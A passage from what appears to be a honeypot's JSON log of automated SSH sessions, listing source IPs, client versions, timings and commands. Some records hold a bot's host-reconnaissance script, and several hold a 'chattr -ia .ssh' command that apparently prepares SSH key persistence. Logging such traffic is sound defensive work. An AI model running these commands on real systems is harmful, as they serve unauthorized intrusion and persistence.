-d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:57:19.136527+00:00",
  "ended_at": "2026-08-27T04:57:19.419073+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8cdfc0bc-3b39-45fc-9e1c-edcbd6edc969",
  "name": "arctic-idle-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 35486,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:55:22.504364+00:00",
  "ended_at": "2026-08-27T04:55:22.755255+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "62495ca5-0289-4179-abc8-1d82cbed70e6",
  "name": "hazel-crystal-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 39142,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:03:06.920753+00:00",
  "ended_at": "2026-08-27T04:03:07.449219+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4daac0b9-d6f9-47a9-9fab-20b29ed3edae",
  "name": "craggy-smoky-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.70.126.245",
  "src_port": 50072,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.5",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:57:40.755665+00:00",
  "ended_at": "2026-08-27T03:57:41.234033+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "77ca5840-52af-43a0-9b39-bfe62daa9c3f",
  "name": "lanky-sunlit-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41178,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 302,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:15:15.954228+00:00",
  "ended_at": "2026-08-27T03:15:20.748085+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "41c80758-f2a4-45cb-bd48-454e7aaa513d",
  "name": "boreal-hardy-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34216,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 322,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:12:55.070839+00:00",
  "ended_at": "2026-08-27T03:13:01.007010+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c176240f-4f1c-4041-9c22-5f8490eb5b0b",
  "name": "proud-silent-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55106,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 370,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:01:44.866082+00:00",
  "ended_at": "2026-08-27T03:01:48.371506+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1e453a09-c9d1-49c7-9a4c-b6db74fb5046",
  "name": "ruddy-graceful-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33062,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 308,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:00:28.447642+00:00",
  "ended_at": "2026-08-27T03:00:31.937614+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ac83027c-2c3f-4ba6-b125-c6940faa2d3c",
  "name": "hazy-solemn-shearwater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33828,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 366,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:56:35.919642+00:00",
  "ended_at": "2026-08-27T02:56:39.968810+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "41c662e8-4a12-47df-848f-74c0ebe57697",
  "name": "mighty-dusky-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46596,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 258,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:46:34.070545+00:00",
  "ended_at": "2026-08-27T02:46:39.021440+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "179d2785-7ead-41b5-9574-03270b7d535c",
  "name": "mindful-marbled-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36060,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 316,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:44:49.976578+00:00",
  "ended_at": "2026-08-27T02:44:52.786769+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "eb81c999-03f2-4de1-95c1-9339a22b2e7d",
  "name": "sterling-quiet-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52280,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 318,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:42:47.836107+00:00",
  "ended_at": "2026-08-27T02:42:51.393230+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a7258a36-fe36-4c85-8a3f-1c6cebc2e75b",
  "name": "tangled-languid-godwit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 54098,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:41:12.180385+00:00",
  "ended_at": "2026-08-27T02:41:12.707009+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "031ae997-cb14-4ee5-8d17-dcbfb2856060",
  "name": "rapid-velvet-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39544,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 246,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:41:04.080600+00:00",
  "ended_at": "2026-08-27T02:41:09.715726+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3b3613c3-dc69-48dd-9ce3-58a2ab596382",
  "name": "cobalt-sterling-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51284,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 240,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:38:36.017498+00:00",
  "ended_at": "2026-08-27T02:38:41.357661+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "56c3c6bb-d7b7-4b3a-908c-aea660b79148",
  "name": "orderly-brazen-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60234,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 263,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:36:22.505092+00:00",
  "ended_at": "2026-08-27T02:36:27.684110+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d2ed0ae5-3684-4459-8743-abd8b5c7cb49",
  "name": "placid-fleeting-oxpecker",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 53928,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:29:46.085188+00:00",
  "ended_at": "2026-08-27T02:29:47.125407+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fe023504-c729-4739-afeb-d53654bfffcf",
  "name": "ashen-snowy-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56230,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 367,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:24:32.448599+00:00",
  "ended_at": "2026-08-27T02:24:37.907398+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3fc65892-290c-49cc-8a7a-cb4cfc76c1fc",
  "name": "blazing-prickly-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56520,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 247,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:22:35.838430+00:00",
  "ended_at": "2026-08-27T02:22:40.460773+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0debef9d-ba60-4e93-99be-e8e0b9863be0",
  "name": "brazen-salty-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42282,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 292,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:19:05.952839+00:00",
  "ended_at": "2026-08-27T02:19:11.899254+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bd93d3dd-cc71-4111-9d7c-bf884705c5eb",
  "name": "coastal-cosmic-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54800,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 268,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:18:28.149452+00:00",
  "ended_at": "2026-08-27T02:18:32.359460+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e6d9832c-c02e-4530-8693-c9e660e7a099",
  "name": "smooth-wistful-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47626,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 344,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:17:29.804703+00:00",
  "ended_at": "2026-08-27T02:17:33.012067+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "06e72038-8583-4165-bf84-1f276d10651c",
  "name": "prairie-sincere-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40808,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 376,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:16:31.656799+00:00",
  "ended_at": "2026-08-27T02:16:35.050478+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ab9496c9-7364-486d-a611-4cf8558111be",
  "name": "crisp-loyal-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 59472,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 290,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:16:03.286168+00:00",
  "ended_at": "2026-08-27T02:16:08.606257+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8488be46-b225-4141-b4a0-6bd73e789603",
  "name": "nimble-velvet-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44078,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 225,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:13:00.023319+00:00",
  "ended_at": "2026-08-27T02:13:00.106193+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "61c28e07-a2f2-4afe-ae28-87961a4d3325",
  "name": "frugal-fleeting-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36034,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 343,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:11:22.112133+00:00",
  "ended_at": "2026-08-27T02:11:25.614362+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d3a4d40a-e5c0-4106-bafe-829c062ba3b0",
  "name": "gleaming-orderly-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36634,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:07:53.379160+00:00",
  "ended_at": "2026-08-27T02:07:56.567611+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ae40f1af-afa2-4761-a05c-6f4df47c6ccc",
  "name": "murky-early-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51476,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 293,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:02:47.222622+00:00",
  "ended_at": "2026-08-27T02:02:50.534493+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "934e052d-4922-411b-82a7-e11876c39f53",
  "name": "nautical-electric-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60348,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 348,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:57:28.609705+00:00",
  "ended_at": "2026-08-27T01:57:32.385254+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "18e3bc8e-41f2-4c21-98d2-fcea1ff70e2f",
  "name": "fringed-mindful-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35142,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 504,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T01:54:45.119758+00:00",
  "ended_at": "2026-08-27T01:54:51.093198+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dc9001fa-abd2-45f3-823e-67ec32f036c6",
  "name": "gentle-lunar-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 37908,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T01:26:01.260217+00:00",
  "ended_at": "2026-08-27T01:26:01.747327+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5bc6a18a-a683-4224-8ead-a479f8a09b8f",
  "name": "foggy-bitter-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 59586,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T00:22:24.687783+00:00",
  "ended_at": "2026-08-27T00:22:25.154333+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "55b1968a-699f-40a5-a7fe-3bd8f3e40cf8",
  "name": "mindful-fickle-squirrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 53096,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:10:13.245803+00:00",
  "ended_at": "2026-08-26T23:10:13.748398+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3bdfa553-0792-4bb2-8f21-8f3acd304c18",
  "name": "grumpy-jolly-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 51582,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 69,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:24:40.906880+00:00",
  "ended_at": "2026-08-26T22:24:43.107634+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "acc363e9-4417-410b-a5c5-ac61311c00d0",
  "name": "marbled-crimson-bunting",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 51604,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:24:21.668915+00:00",
  "ended_at": "2026-08-26T22:24:22.636550+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6e4385d2-614c-43a9-9680-5d3e6f629f88",
  "name": "prickly-hidden-brambling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 34754,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:16:57.352058+00:00",
  "ended_at": "2026-08-26T22:16:57.692329+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "11aa2cbd-fe21-46e3-b0d6-344145a643ec",
  "name": "marine-tranquil-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 55188,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 70,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:56:44.073129+00:00",
  "ended_at": "2026-08-26T21:56:45.527588+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2243
 },
 {
  "id": "00dc2d63-40c1-4a84-bd05-61eab1b9c0ea",
  "name": "alpine-freckled-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 60294,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:56:32.323676+00:00",
  "ended_at": "2026-08-26T21:56:33.662817+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9f87630c-0ba1-43c0-9eda-1d7ee959d794",
  "name": "daring-obsidian-barbet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 57908,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:11:35.515447+00:00",
  "ended_at": "2026-08-26T21:11:36.018838+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4b3f963a-9d27-47a8-b904-edfae4e9d17e",
  "name": "bronzed-bashful-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 33286,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:10:35.074659+00:00",
  "ended_at": "2026-08-26T20:10:48.735764+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "156117af-7b5f-44a3-8382-c08576a3e17f",
  "name": "ginger-oaken-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 58578,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:59:28.200896+00:00",
  "ended_at": "2026-08-26T18:59:28.815625+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6cd78e94-1346-4d6b-b5c6-c35a7a1e3661",
  "name": "wandering-distant-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 39238,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:03:05.883090+00:00",
  "ended_at": "2026-08-26T18:03:06.406249+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0cfa65e7-167c-42f5-9159-175c94b52409",
  "name": "balmy-coastal-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 40674,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:55:45.897015+00:00",
  "ended_at": "2026-08-26T16:55:46.340998+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b8d9bfc3-f4ca-4c77-981c-dbbc6e8ed2f9",
  "name": "courtly-boreal-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 46040,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
